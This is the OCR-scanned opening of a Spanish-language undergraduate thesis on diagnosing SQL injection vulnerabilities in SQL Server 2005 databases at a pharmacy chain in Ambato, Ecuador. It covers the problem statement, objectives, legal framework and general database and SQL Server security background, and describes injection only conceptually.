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RESUMEN EJECUTIVO

El tema del presente trabajo trata sobre Inyeccion SQL para detectar las
vulnerabilidades de seguridad en las bases de datos SQL server en las farmacias cruz

azul vitalidad de la ciudad de Ambato.

Para lograr el objetivo principal de esta investigacion, el presente trabajo esta
estructurado por seis capitulos: en el primer capitulo se plantea de forma clara y
precisa el problema por el cual se decidié realizar el presente proyecto, se mencionan
los objetivos que llevaron a la realizacién de la investigacion, asi como también una
justificacién con argumentos claros con los que se sustenta el porqué de esta

investigacion.

Los antecedentes investigativos, la fundamentacion legal, las categorias
fundamentales guiaran en la busqueda de una posible solucién al problema planteado;
asi como la definicion de las variables dependiente e independiente, estan contenidos

en el capitulo segundo.

En el capitulo tercero, la modalidad y el nivel de la investigacion, la poblacion y

muestra, recoleccion y procesamiento de la informacién son abarcados.

El analisis e interpretacion de los resultados de las encuestas realizadas a los usuarios

de la Institucion seran cubiertos en el cuarto capitulo.

El capitulo quinto que describe las conclusiones a las que se ha llegado y las

recomendaciones que se realizan al finalizar la presente investigacion.

Finalmente el capitulo sexto describe detalladamente la propuesta planteada al

problema de investigacion.
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INTRODUCCION

La inyeccion de codigo SQL pertenece al tipo de ataques de validacion de entradas
del usuario, es una técnica utilizada por personas maliciosas con el fin de alterar o
atacar un sitio o servidor a través de comandos SQL. Probablemente es una de las
vulnerabilidades web mas importante de la historia. Se encuentra en un gran numero

de aplicaciones web y su potencial destructivo es enorme.

En la actualidad siguen apareciendo nuevas vias de explotar esta falla, y aplicaciones
muy extendidas, creadas por programadores expertos, tampoco estdn exentas de

inyecciones.

El motivo de que esté tan extendido este tipo de errores reside en la falta de
concienciacion de seguridad de los programadores. Los programadores principiantes
(y no tan principiantes) descuidan el cddigo por desconocimiento, descuidos o por
propia comodidad.

Xv
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CAPITULO I

EL PROBLEMA

1.1 Tema

Inyeccion SQL para detectar las vulnerabilidades de seguridad en las bases de datos

SQL server 2005 de las farmacias cruz azul vitalidad de la ciudad de Ambato.

1.2 Planteamiento del Problema

1.2.1 Contextualizacion.

A nivel mundial la informacion es uno de los pilares importantes de la sociedad
informatizada en la que vivimos, mantener la integridad depende de una correcta
encriptacion de la informacidn, ademas del acceso y autenticacion a la misma, pero
esto no basta puesto gue en los Gltimos afios los ataques de inyeccion SQL han ido
en aumento significativamente, afectando las vulnerabilidades de sitios web, segin
McAfee en el primer trimestre del 2011 *“ China y Estados Unidos siguen siendo los
principales origenes de los ataques de inyeccion SQL. Generalmente la inyeccion
SQL es usada para acceder a bases de datos de distintos tipos, los ataques de
inyeccion SQL suelen representar una clase compleja de ataques con un tipo
especifico de atacante. China se situa a la cabeza (que registra el 50% de los ataques),

seguida de Estados Unidos (25%). Ucrania se desplazo a la tercera posicion (13%), lo



que provoco el descenso de Iran al cuarto lugar (5%). El resto de paises no registran
mas del 2% de los ataques.

En el Ecuador es particularmente nuevo este tema, ya que no existen registros de este
tipo de ataques, aunque a nivel mundial ya esta causando muchos inconvenientes; por
tal motivo el gobierno conjuntamente con las empresas privadas, deberian tomar parte
en el asunto aplicando medidas de prevencion para evitar en algo este tipo de ataques,

permitiendo asi proteger la informacion de las organizaciones.

Concretamente en Ambato las bases de datos sobre SQL server son las mas
utilizadas, por tal motivo el estudio se centrara en detectar de las vulnerabilidades de
estos motores, ya que dia a dia se hace complicado evitar un ataque, siendo tarea de
los administradores de BD mantener los datos seguros, ya sea utilizando
procedimientos o técnicas que permitan evitar que alguna vulnerabilidad de la

aplicacion sea explotada.

Este es el caso de las farmacias Cruz Azul Vitalidad, cuyas bases de datos se
encuentran sobre SQL server, actualmente no existen politicas de seguridad asi como
medidas de prevencion implantadas, por tal motivo estas bases de datos se vuelven
vulnerables ante cualquier tipo de ataque, causa por la cual es necesario aplicar

medidas de prevencidn que permitan mantener protegida la informacién.



1.2.2 Arbol de Problema

Permite a un atacante hablar

Efecto directamente con la base de

datos Fallos en el sistema Robo de informacion e
7y integridad de la BD.
Problema La inyeccion SQL
A
Acceso no autorizado al Vulnerabilidades de La no actualizacion de
Causa . .
sistema seguridad parches de seguridad del
SGBD

Grafico 1.1. Arbol de Problema

Elaborado por: Investigador

1.2.3 Analisis Critico

A continuacion se realizara un Analisis Critico al problema a investigar, partiendo de

los sintomas y causas que provocan el desarrollo de las problematica planteada.

La inyeccion SQL se presenta como numero uno en la lista de deficiencias de
seguridad al representar casi la quinta parte de los ataques, llegando incluso al 19%
del total de los casos. El ataque de inyeccion SQL altera el contenido de la base de
datos del equipo que inyecta, como su propio nombre indica, la inyeccion SQL altera
la correcta ejecucién de la consulta permitiendo insertar cédigo malicioso en las bases
de datos. De ese modo, es posible robar las claves de acceso del usuario que utiliza

en otras aplicaciones.



Otras deficiencias de seguridad son las relacionadas con la conectividad en la Red. El
principal riesgo del protocolo HTTP es que puede permitir la entrada de cualquier
hacker al ser un protocolo demasiado libre, lo que dificulta la seguridad de las
empresas. Si a esto le sumamos la proliferacion de uso de aplicaciones Web, como las
herramientas de Google o Microsoft, el usuario deberd exigir unas medidas de
seguridad mas restrictivas para garantizar la privacidad de sus datos.

1.2.4 Prognosis

Si no se realiza un estudio de las vulnerabilidades a las que afecta inyeccion de
codigo SQL sobre las bases de datos de SQL server 2005 las empresas que utilizan
este motor corren el riesgo sufrir ataques de este tipo pudiendo perder diariamente

informacion, esto traducido a pérdidas econdémicas.
1.2.5 Formulacion del problema
¢Coémo afecta la inyeccion SQL en las vulnerabilidades de seguridad de las bases

de datos SQL server 2005?

1.2.6 Preguntasy directrices

¢Conocer las vulnerabilidades del sistema ayudara a la aplicacion a mantenerse

protegida?

¢Mantener el sistema monitoreado evitara que un intruso tenga éxito al momento de

vulnerar el sistema?

¢ Obtener respaldos de la BD evitara que si un intruso ha logrado vulnerar el sistema

la informacion no se pierda en su totalidad?

¢En que favorecera la aplicacion de medidas de seguridad para la prevencién de un

Ataque de inyeccion SQL?



1.2.7 Delimitacion

Campo de accion: Ingenieria en sistemas

Area: Seguridad Informatica

Aspecto: Vulnerabilidades en BD

Tentativamente el proyecto se desarrollara en un lapso de 6 meses a partir del 30 de
Enero del 2012, tiempo en el cual se pretende desarrollar un estudio de las
vulnerabilidades a las que afecta la inyeccion de codigo SQL, siendo la entidad
beneficiaria las farmacias cruz azul de la ciudad de Ambato, donde la bodega matriz

se encuentra ubicada en Ambato en la calle Antonio Clavijo frente al mercado sur.

1.3 Justificacién

En la actualidad la tecnologia ha ido avanzando aceleradamente a la par de la
masificacion del internet, toda la informacion es almacenada en ordenadores de
manera automatica, con todo el riesgo que se corre al manejar informacién se deberia
tener medidas de proteccion, para poder garantizar la integridad de la informacion y

las tecnologias que facilitan la gestion de la misma.

Al utilizar Internet como herramienta de comunicacion se amplia el radio de
cobertura de las aplicaciones con bases de datos, permitiendo asi una mayor
accesibilidad a la informacion para los usuarios, pero como la web es un sitio
accesible a la poblacion en general las probleméaticas de seguridad surgen
diariamente y son un dolor de cabeza para cualquier organizacion que utilice este
medio, por tal motivo es necesario elaborar un estudio acerca de las vulnerabilidades
a las que afecta la inyeccién de cddigo SQL sobre las bases de datos de SQL server,
este seria de gran ayuda para un administrador de bases de datos, debido al tedioso
trabajo que resulta al momento de controlar el manejo de las transacciones que se

realizan diariamente en las bases de datos, tareas que se realizan diariamente.



La utilizacion de dicha herramientas seria de suma importancia debido a las grandes
ventajas que se puede obtener al momento de proteger las bases de datos, ademas
apoyara en la deteccion de estos problemas para su correccion por medio de
recomendaciones para permitir mejorar el rendimiento del sistema haciéndolo
confiable y menos vulnerable y en un tiempo minimo hard que el sistema se

transforme en un modelo digno de ser imitado por las empresas de la localidad.

Finalmente se justifica plenamente el presente trabajo pues la investigacion permite
avanzar y seguir fomentando el avance tecnoldgico de las empresas ambatefias

Ilegando asi a un nivel mas alto de productividad.

La elaboracion de este estudio sera de gran ayuda para todas las empresas que utilicen
sus aplicaciones sobre SQL server, puesto que podran proteger de mejor manera su

informacion.
1.4 Objetivos de la Investigacion

1.4.1 General

Diagnosticar las vulnerabilidades a las que afecta la inyeccion de codigo SQL sobre
las bases de datos de SQL server 2005 en las farmacias cruz azul vitalidad de la
ciudad de Ambato.

1.4.2 Especificos

e Identificar los mecanismos de la inyeccion SQL a través de un estudio en SQL
server 2005.

e Realizar un diagnéstico de las vulnerabilidades a las que ataca la inyeccion
SQL en las BD de SQL server.

e Elaborar una guia técnica para la prevencion de ataques de inyeccion SQL.



CAPITULO I

MARCO TEORICO

2.1 Antecedentes Investigativos:

El estudio de amenazas de seguridad en las bases de datos sobre SQL server 2005 de
la manera en la que se quiere desarrollar constituye un proyecto bastante prometedor,
pero hay que recalcar que luego de realizar una exhaustiva investigacién en los
portales de las Universidades de Ambato, en la biblioteca de la Facultad de Ingenieria
en Sistemas, Electronica e Industrial de la Universidad Técnica de Ambato y en
general en la WEB sobre proyectos o temas de investigacion relacionados al presente,

se ha encontrado que:

Realizando una investigacion de campo se logré constatar que en la Facultad de
Ingenieria en Sistemas, Electrénica e Industrial no existen trabajos similares con
respecto a esta investigacion, obteniéndose el mismo resultado en las Universidades
de Ambato.

Sin embargo al realizarse una investigacion en Internet se constaté que Cristian Ivan
Pinzén Trejos para su tesis doctoral con el tema “ARQUITECTURA MULTI-
AGENTE ADAPTATIVA PARA LA DETECCION DE ATAQUES EN
ENTORNOS DINAMICOS Y DISTRIBUIDOS” de la Universidad de Salamanca
habla de Ataques de inyeccion SQL desde la pagina 32 a la 41.



2.2 Fundamentacion Legal.

Constitucién del estado

Seccién tercera

Comunicacion e informacioén

Art. 16.-Todas las personas, en forma individual o colectiva, tienen derecho a:

2. El acceso universal a las tecnologias de informacién y comunicacion.

Art. 18.-Todas las personas, en forma individual o colectiva, tienen derecho a:

2. Acceder libremente a la informacion generada en entidades puablicas, o en las
privadas que manejen fondos del Estado o realicen funciones publicas. No existira
reserva de informacion excepto en los casos expresamente establecidos en la ley.

En caso de violacion a los derechos humanos, ninguna entidad publica negara la

informacion.

Capitulo sexto
Derechos de libertad

Art. 66.- Se reconoce y garantizara a las personas:

19. El derecho a la proteccion de datos de caracter personal, que incluye el acceso y
la decisidn sobre informacion y datos de este carécter, asi como su correspondiente
proteccién. La recoleccion, archivo, procesamiento, distribucion o difusion de estos

datos o informacion requeriran la autorizacion del titular o el mandato de la ley.



Seccion quinta
Accion de habeas data

Art. 92.- Toda persona, por sus propios derechos 0 como representante para el efecto,
tendrd derecho a conocer de la existencia y documentos, datos genéticos, bancos o
archivos de datos personales sobre si misma, o sobre sus bienes, consten en entidades
publicas soporte material o electronico. Asimismo tendra derecho a conocer de ellos,
su finalidad, el origen y destino de informacion personal vigencia del archivo o banco
de datos.

Las personas responsables de los bancos o archivos de datos difundir la informacion
archivada con autorizacion de su titular o de La persona titular de los datos podran
solicitar al responsable el acceso archivo, asi como la actualizacion de los datos, su
rectificacion, anulacion. En el caso de datos sensibles, cuyo archivo deberd estar ley o
por la persona titular, se exigira la adopcion de las medidas necesarias. Si no se
atendiera su solicitud, ésta podra acudir a la persona afectada podra demandar por los

perjuicios ocasionados.



2.3 Categorias fundamentales

Ataques

Bases de datos Informaticos

Sistema gestorde basesde
datos (SGBD)

Sistemas
Informaticos

Lenguaje de consulta
estructurade SQL

501 Server 2005

Afectan

Vulnerabilidades
> de Bases de Datos
Inyecciones de

codigoSQL

Variable Independiente Variable Dependiente

Figura 2.1. Categorias Fundamentales
Elaborado por: Investigador
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2.3.1 Categorias Fundamentales Variable Independiente

2.3.1.1 Bases de datos

Segin Rafael Camps Paré (s.f, pag 7) “Un conjunto de ficheros en los que se
establecen vinculos interrelacionales”, se considera importante lo que manifiesta
Janhil Aurora Trejo Martinez (Internet; 28/09/2009; 22/10/2011; 10:47am ) “Base de
Datos es un conjunto exhaustivo no redundante de datos estructurados organizados
independientemente de su utilizacidon y su implementacion en maquina accesibles en
tiempo real y compatibles con usuarios concurrentes con necesidad de informacion
diferente y no predicable en tiempo”. Por otro lado lo que afirma Christopher J. Date
(afio, pag 2) Un sistema de base de datos es basicamente un sistema computarizado
para llevar registros, es decir es un depésito o contenedor de una coleccion de

archivos de datos computarizados.

Entonces una base de es un conjunto de informacion computarizada con estructura
propia que permitan almacenar registros de manera ordenada para que sean

accesibles a usuarios con necesidad de informacion.

2.3.1.2 Sistema gestor de bases de datos (SGBD)

Segun Alberto Gomez; Nicolas de Abajo Martinez (1998, pag 82) “Es un conjunto de
herramientas que ayudan al usuario a gestionar la informacion almacenada en una
base de datos”, es importante recalcar lo que Ralph M Stair; George Reynolds (s.f,
206) Un sistema de gestion de base de datos SGBD es un grupo de programas que se
usa como una interfaz entre la base de datos y programas de aplicaciones o entre una
base de datos y el usuario, los SGBD comparten algunas funciones comunes tales
como proporcionar una vista de datos para el usuario, almacenar y recuperar
fisicamente los datos en una base de datos, permitir la manipulacion de datos, y
elaborar informes, ademas se considera importante lo que afirma José A. Taboada
(2005,17) “un SGBD es una aplicacion que permite a los usuarios definir, crear y

mantener la base de datos, proporcionando acceso controlado a la misma”.
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Entonces un SGBD nace de la necesidad de gestionar informacion almacenada en una
base de datos, proporcionando acceso controlado a los usuarios para que puedan

recuperar fisicamente los datos, permitiendo la manipulacion de ellos.

2.3.1.3 Lenguaje de consulta estructurado SQL

Segun G. Quintana, M. Marquez, J Aliaga, M. Aramburu (2008,08) SQL (Stuctured
Query Languaje) es un lenguaje de programacion disefiado especificamente para el
acceso a sistemas de gestion de base de datos. Como la mayor parte de sistemas son
de este tipo, y como el lenguaje SQL es el mas ampliamente usado en estos, se puede
decir sin ningun género de dudas que este lenguaje es empleado mayoritariamente en

los sistemas existentes.

Este lenguaje es empleado en sistemas informaticos que van desde ordenadores

personales muy basicos, hasta los mas potentes computadores.

Las principales ventajas que aporta SQL son:

e Su enorme difusion pues empleado en la mayoria de sistemas actuales.
e Su elevada expresividad, por ejemplo operaciones que costarian semanas de
esfuerzo en ser desarrolladas en lenguaje de programacion tradicional, pueden

ser realizadas con SQL en tan solo minutos.

El lenguaje SQL es un lenguaje de cuarta generacién. Es decir, en este lenguaje se
indica que informacion se desea obtener o procesar, pero no como se debe hacer. Es
la labor interna del sistema decidir la forma mas eficiente de llevar la operacion

ordenada por el usuario.
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También es necesario mencionar lo que afirma Claudio Casares (Internet; s.f; 24,
10,2011; 22:35) EI lenguaje SQL estd compuesto por comandos, clausulas,
operadores y funciones de agregado. Estos elementos se combinan en las

instrucciones para crear, actualizar y manipular las bases de datos.
Existen dos tipos de comandos SQL.:

e Los DLL que permiten crear y definir nuevas bases de datos, campos e
indices.
e Los DML que permiten generar consultas para ordenar, filtrar y extraer datos

de la base de datos.

Comandos DLL (Comando Descripcion)

Utilizado para crear nuevas tablas, campos

CREATE s
e indices
DROP Empleado para eliminar tablas e indices
Utilizado para modificar las tablas agregando
ALTER

campos o cambiando la definicion de los campos.

Comandos DML

Utilizado para consultar registros de la base de datos que

SELECT ) o )

satisfagan un criterio determinado

Utilizado para cargar lotes de datos en la base de datos
INSERT . .

en una Unica operacion.

Utilizado para modificar los valores de los campos y
UPDATE

registros especificados
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Utilizado para eliminar registros de una tabla de una base
DELETE
de datos

Clausulas

Las clausulas son condiciones de modificacion utilizadas para definir los datos que

desea seleccionar o manipular.

Comando Descripcion

Utilizada para especificar la tabla de la cual se van a seleccionar los
FROM _
registros

Utilizada para especificar las condiciones que deben reunir los registros
WHERE .
que se van a seleccionar

GROUP

Utilizada para separar los registros seleccionados en grupos especificos
BY

HAVING Utilizada para expresar la condicién que debe satisfacer cada grupo
ORDER Utilizada para ordenar los registros seleccionados de acuerdo con un

BY orden especifico

Operadores Ldgicos

Es el “y” logico. Evalla dos condiciones y
AND devuelve un valor de verdad solo si ambas son

ciertas.

OR Es el “o” logico. Evalia dos condiciones y

devuelve un valor de verdad si alguna de las dos
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es cierta.

Negacion logica. Devuelve el valor contrario de
NOT .
la expresion.

También es necesario mencionar lo que en su libro mencionan Alicia Ramos; Maria
Jesus Ramos (2008,177) El lenguaje SQL (Structured Query Lenguaje) es una
herramienta para organizar, gestionar y recuperar los datos almacenados en una base
de datos relacional; por tanto permite la comunicacién con el sistema de gestion de
BD. Es tan conocido en Base de datos relacionales que muchos lenguajes de
programacion incorporan sentencias SQL como parte de su repertorio.

SQL Fue desarrollado sobre un prototipo de gestor de base de datos relacionales
denominado SYSTEM R y disefiado por IBM a mediados de los afios setenta, incluia
lenguaje de consultas, entre ellos SEQUEL (Structured English Query Languaje) que

mas tarde se denomin6 como SQL.
Como Funciona.

A medida que las redes se hicieron mas comunes las aplicaciones que se ejecutan en
un mini ordenador o en un gran sistema central pasaron a redes de area local de
estaciones de trabajo y servidores. En estas redes, SQL desempefia un gran papel
como enlace entre la aplicacion que se ejecuta en la estacién de trabajo con una
interfaz grafica de usuario y el SGBD que gestiona los datos compartidos en el

servidor.

En la figura 2.2 se muestra como funciona SQL en una arquitectura Cliente servidor,
donde los ordenadores se combinan en una red de area local con un servidor de Base

de datos que almacena los datos compartidos.

15



-

i

Peticion S0L
= = Datos
SERVIDOR DE

PCs DE USUARIO BASES DEDATOS

Figura 2.2. Arquitectura Cliente servidor
Fuente: RAMOS, Alicia (2008)”Operaciones con bases de datos ofimaticas y

corporativas”

Con el auge del internet, las arquitecturas de las BD de red dio otro paso en su
evolucion; mediante el uso de navegadores web se da acceso a los clientes a la
informacidn contenida en la base de datos. Esto exige conectar el servidor web con el
sistema de BD que contiene la informacion. Los métodos para conectar los servidores
web son los SGBD hicieron que surgiera la arquitectura de 3 capas que puede verse

en la siguiente figura 2.3.
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Figura 2.3. Arquitectura Cliente servidor - 3 capas.
Fuente: RAMOS, Alicia (2008)”Operaciones con bases de datos ofimaticas y

corporativas”
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Como resumen SQL es un lenguaje de Consulta Estructurado (SQL) que se usa para
consultar, actualizar y administrar bases de datos relacionales, tales como SQL server
2005. Al crear una consulta en la ventana Consulta, lo que hace SQL server 2005 en

realidad es construir una instruccién SQL equivalente.

2.3.1.4 SQL Server 2005

Segun Microsoft (internet; 25/05/2006; 06/11/2011) SQL Server 2005 es una
plataforma global de base de datos que ofrece administracion de datos empresariales
con herramientas integradas de inteligencia empresarial (Bl). EI motor de la base de
datos SQL Server 2005 ofrece almacenamiento méas seguro y confiable tanto para
datos relacionales como estructurados, lo que le permite crear y administrar
aplicaciones de datos altamente disponibles y con mayor rendimiento para utilizar en

su negocio.

El motor de datos SQL Server 2005 constituye el nucleo de esta solucion de
administracion de datos empresariales. Asimismo, SQL Server 2005 combina lo
mejor en analisis, informacion, integracion y notificacion. Esto permite que su
negocio crezca y despliegue soluciones de BI rentables que ayuden a su equipo a
incorporar datos en cada rincon del negocio a través de tableros de comando,

escritorios digitales, servicios Web y dispositivos moviles.

Cabe mencionar lo que afirma Garcia Edison (internet; 28/09/2007; 07/11/2011)
Seguridad en SQL Server 2005. SQL Server administra una coleccion de entidades
que por su puesto se pueden proteger mediante permisos, a esto se le conoce como
“asegurables”. Las entidades asegurables mas conocidas son los servidores y las
bases de datos. SQL Server administra las acciones que se toman sobre dichas
entidades asegurables comprobando en cierta forma que se les ha otorgado los

permisos a dicho objeto.

Préacticamente las entidades asegurables son aquellos recursos que estan controlados

mediante autorizaciones en SQL Server. En resumen, SQL Server trabaja bajo

17



entidades asegurables, que es a la que se le pueden otorgar permisos, ya sea para

diferentes funciones.

También es necesario acotar lo que en su pagina MSDN (internet; 12/12/206;
07/11/2011) La proteccion de SQL Server implica tres areas: la plataforma y la red,
las entidades de seguridad y los asegurables, y por ultimo las aplicaciones que

obtienen acceso a la base de datos.
Seguridad de la plataforma y de la red

La plataforma de SQL Server incluye el hardware fisico y los sistemas de redes que
conectan los clientes con los servidores de base de datos, asi como los archivos
binarios que se utilizan para procesar solicitudes de base de datos.

Seguridad fisica

Las recomendaciones de seguridad fisica limitan de forma estricta el acceso al
servidor fisico y a los componentes de hardware. Por ejemplo, use salas cerradas de
acceso restringido para el hardware de servidor de base de datos y los dispositivos de
red. Ademas, limite el acceso a los medios de copia de seguridad almacenandolos en

una ubicacién segura fuera de las instalaciones.

La implementacion de la seguridad de la red fisica comienza por mantener a los

usuarios no autorizados fuera de la red.
Seguridad del sistema operativo

Los Service Packs y las actualizaciones del sistema operativo incluyen mejoras de
seguridad importantes. Se debe aplicar todas las revisiones y actualizaciones al

sistema operativo después de probarlas con las aplicaciones de base de datos.

Los firewalls también proporcionan formas eficaces de implementar la seguridad.

Logicamente, un firewall es un separador o limitador del trafico de red, que puede
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configurar para aplicar la directiva de seguridad de datos de la organizacion. El uso
de un firewall aumenta la seguridad del sistema operativo ya que proporciona un

punto de arranque en el que pueden centrarse las medidas de seguridad.

La reduccion de la superficie es una medida de seguridad que implica detener o
deshabilitar componentes no utilizados. La reduccion de la superficie ayuda a mejorar
la seguridad al proporcionar menos accesos para ataques potenciales al sistema. La
clave para limitar la superficie de SQL Server consiste en ejecutar los servicios
requeridos con “privilegios minimos" mediante la concesion de los derechos

necesarios Unicamente a los servicios y usuarios.

Si el sistema SQL Server usa los Servicios de Internet Information Server (I1S), es

necesario realizar pasos adicionales para proteger la superficie de la plataforma.
Seguridad de los archivos del sistema operativo de SQL Server

SQL Server usa archivos del sistema operativo para el funcionamiento y el
almacenamiento de datos. Las recomendaciones de seguridad de archivos indican que

se restrinja el acceso a estos archivos.

Los Service Packs y actualizaciones de SQL Server proporcionan una seguridad

mejorada, hay que tener siempre actualizado nuestro sistema mediante estas ayudas.

Se puede usar la siguiente secuencia de comandos para determinar el Service Pack

instalado en el sistema;

SELECT CONVERT (char(20), SERVERPROPERTY (‘productlevel’));
GO
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Entidades de seguridad y seguridad de objetos de base de datos

Las entidades de seguridad son los individuos, grupos y procesos gue tienen acceso a
SQL Server. Los asegurables son el servidor, la base de datos y los objetos incluidos
en la base de datos. Cada uno de estos elementos dispone de un conjunto de permisos

que pueden configurarse para minimizar aun mas la superficie de SQL Server
Cifrado y certificados

El cifrado no resuelve los problemas de control de acceso. Sin embargo, mejora la
seguridad debido a que limita la pérdida de datos, incluso en el caso poco probable de
que se superen los controles de acceso. Por ejemplo, si el equipo host de base de
datos no esta configurado correctamente y un pirata informatico obtiene datos
confidenciales, como nimeros de tarjetas de crédito, esa informacién robada resulta

inservible si esta cifrada.

Los certificados son "claves" de software que se comparten entre dos servidores que
permiten las comunicaciones seguras a través de una autenticacién segura. Es posible
crear y usar certificados en SQL Server para mejorar la seguridad de objetos y

conexiones.

Seguridad de aplicaciones

Las recomendaciones de seguridad de SQL Server incluyen la escritura de
aplicaciones clientes seguros. SQL Server proporciona herramientas, utilidades, vistas

y funciones que pueden utilizarse para configurar y administrar la seguridad.

2.3.1.5 Inyecciones de cédigo SQL

Segun HackTimes(Internet; 21/01/2010; 27/10/2011; 20:20) Inyeccion de codigo
SQL es un tipo de vulnerabilidad derivada de un incorrecto filtrado de los parametros
que trata la aplicacion y que permite la ejecucién de cddigo SQL en el DBMS (Data

Base Manager System - Sistema Gestor de Base de Datos). En funcion de los
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privilegios que tenga el usuario con el que la aplicacion se conecte a la base de datos
tendremos desde permisos de s6lo lectura sobre la base de datos a la que la aplicacion
se conecta de forma original, hasta permisos de lectura y escritura sobre todas las
bases de datos del DBMS e incluso ejecucion de comandos en el sistema, escritura de

ficheros, etc.

Es importante mencionar lo que msdn (Internet; 05/12/2005; 05/11/2011; 22:38)
Inyeccion de codigo SQL es un ataque en el cual se inserta codigo malicioso en las
cadenas gque posteriormente se pasan a una instancia de SQL Server para su analisis y
ejecucion. Todos los procedimientos que generan instrucciones SQL deben revisarse
en busca de vulnerabilidades de inyeccion de cddigo, ya que SQL Server ejecutara
todas las consultas recibidas que sean véalidas desde el punto de vista sintactico. Un
atacante cualificado y con determinacién puede manipular incluso los datos con

parametros.

La forma principal de inyeccién de codigo SQL consiste en la insercion directa de
codigo en variables especificadas por el usuario que se concatenan y se ejecutan con
comandos SQL. Existe un ataque menos directo que inyecta cédigo dafino en
cadenas que estan destinadas a almacenarse en una tabla. Cuando las cadenas
almacenadas se concatenan posteriormente en un comando SQL dindmico, se ejecuta

el cadigo dafino.

El proceso de inyeccion consiste en finalizar prematuramente una cadena de texto y
anexar un nuevo comando. Como el comando insertado puede contener cadenas
adicionales que se hayan anexado al mismo antes de su ejecucion, el atacante pone fin

a la cadena inyectada con una marca de comentario "--".

Cabe destacar lo que afirma Luis Parravicini (2011,73) La inyeccidén SQL consiste en
alterar la sentencia SQL que se ejecuta en la base de datos, Utilizando como vehiculo

para el ataque informacién enviada por el usuario. Esto sucede debido a que no
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validan correctamente los datos recibidos. Asi, el atacante puede conseguir datos que

no deberia ver, borrarlos, obtener mas permisos, etc.

2.3.2 Categorias Fundamentales Variable Dependiente

2.3.2.1 Vulnerabilidades de Bases de Datos.

Segin David M. Kroenke (2003,17) Una vulnerabilidad es considerada como un
agujero de seguridad debido al fallo en un programa que permite mediante su

explotacion violar la seguridad de un sistema informatico.

Esto también se ha comenzado a aplicar a los servicios web, tales como paginas web,
correo, MSN, chat, etc, con el objetivo de obtener informacion de personas que usen
el servidor. A las personas que buscan errores en los sitios webs se les llama hackers,
y a las que aprovechan dichas fallas para su beneficio particular, en contra del bien

comun, se les llama crackers.
Causas

Los agujeros de seguridad suelen generarse en la negligencia o la inexperiencia de un
programador. Puede haber otras causas ligadas al contexto. Una vulnerabilidad por lo
general permite que el atacante pueda engafiar a la aplicacidén, por ejemplo,
esquivando los controles de acceso o ejecutando comandos en el sistema donde se
aloja la aplicacion.

Algunas vulnerabilidades se producen cuando la entrada de un usuario no es
controlada, permitiendo la ejecucién de comandos o solicitudes SQL (conocidos
como Inyeccion SQL). Otras provienen de errores de un programador en la
comprobacion de los buffers de datos (que puede ser desbordados), provocando una
corrupcion de la pila de memoria (y, por tanto, permitiendo la ejecucion de codigo

suministrado por el atacante).

22


http://es.wikipedia.org/wiki/Software
http://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica
http://es.wikipedia.org/wiki/Hacker
http://es.wikipedia.org/wiki/Cracker
http://es.wikipedia.org/wiki/Causa
http://es.wikipedia.org/wiki/Contexto
http://es.wikipedia.org/wiki/Aplicaci%C3%B3n
http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL
http://es.wikipedia.org/wiki/Programador
http://es.wikipedia.org/wiki/Datos
http://es.wikipedia.org/wiki/Desbordamiento
http://es.wikipedia.org/wiki/Pila_%28inform%C3%A1tica%29

Identificacion y correccion de vulnerabilidades

Hay muchas herramientas que pueden facilitar el descubrimiento de vulnerabilidades
en sistemas informaticos, algunas permiten su supresion. Pero, si bien estas
herramientas pueden proporcionar a un auditor una buena vision general de este tipo
de vulnerabilidades potenciales, no pueden sustituir el juicio humano. Confiar en
escaneres automaticos de la vulnerabilidad producira muchos falsos positivos y una

vision limitada de los problemas presentes en el sistema.

Los agujeros de seguridad han sido encontrados en todos los principales sistemas
operativos. La Unica manera de reducir la probabilidad de que una vulnerabilidad
puede ser explotada es permanecer siempre vigilantes y desarrollar el mantenimiento
del sistema (por ejemplo, mediante la aplicaciéon de parches de seguridad),
implementar una arquitectura de seguridad (por ejemplo, colocando cortafuegos),
controles de acceso y establecer auditorias de seguridad (tanto durante el desarrollo

como durante el ciclo de vida).

2.3.2.2 Sistemas Informaticos.

Segln Royal P. Fisher (1998,13) Un sistema informéatico como todo sistema, es el
conjunto de partes interrelacionadas, hardware, software y de recurso humano que
permite almacenar y procesar informacion. El hardware incluye computadoras o
cualquier tipo de dispositivo electronico inteligente, que consisten en procesadores,
memoria, sistemas de almacenamiento externo, etc. El software incluye al sistema
operativo, firewall y aplicaciones, siendo especialmente importante los sistemas de
gestion de bases de datos. Por ultimo el soporte humano incluye al personal técnico
que crean y mantienen el sistema (analistas, programadores, operarios, etc.) y a los

usuarios que lo utilizan.

23


http://es.wikipedia.org/wiki/Esc%C3%A1ner
http://es.wikipedia.org/wiki/Sistemas_operativos
http://es.wikipedia.org/wiki/Sistemas_operativos
http://es.wikipedia.org/wiki/Cortafuego
http://es.wikipedia.org/wiki/Autenticaci%C3%B3n#_control_de_acceso
http://es.wikipedia.org/wiki/Auditor%C3%ADa_de_seguridad_de_sistemas_de_informaci%C3%B3n
http://es.wikipedia.org/wiki/Teor%C3%ADa_general_de_sistemas
http://es.wikipedia.org/wiki/Soporte_f%C3%ADsico
http://es.wikipedia.org/wiki/Programa_inform%C3%A1tico
http://es.wikipedia.org/wiki/Recursos_Humanos
http://es.wikipedia.org/wiki/Informaci%C3%B3n
http://es.wikipedia.org/wiki/Computadora
http://es.wikipedia.org/wiki/Procesador
http://es.wikipedia.org/wiki/Sistema_operativo
http://es.wikipedia.org/wiki/Sistema_operativo
http://es.wikipedia.org/wiki/Firmware
http://es.wikipedia.org/wiki/Aplicaci%C3%B3n_inform%C3%A1tica

Segun Purificacion Aguilera (2010,8) Un sistema informético est4 constituido por un
conjunto de elementos fisicos (hardware, dispositivos, periféricos y conexiones),
logicos (sistemas operativos, aplicaciones Protocolos...) y con frecuencia también se
incluyen también los elementos humanos (personal experto que maneja el software y

el hardware)

Actividad en un sistema informitico

Procesamiento —

 Entrada > Almacenamiento > Cakcular T Salida
! Ordenar
|
Clasificar
A A

Retroalimentacion

Figura 2.4. Actividad en un sistema Informatico
Fuente: AGUILERA Purificacion (2010) “Seguridad Informatica”,

editorial Editex. Primera Edicion

Un sistema informatico puede ser un subconjunto de sistema de informacion pero en
principio un sistema de informacion no tiene por qué contener elementos
informaticos, aunque en la actualidad es dificil imaginar cualquier actividad humana

en la que no se utilice la informatica.
2.3.2.3 Ataques Informéticos.

Segun Marcelo Fidel Fernandez (2008,14) Toda herramienta como un equipo de
computo puede ser muy necesario y Util, para tareas con finalidades como la
investigacion, administracion de informacion, es decir todos los métodos que
contribuyen al objetivo de un objeto de estudio, pero también puede ser empleada con
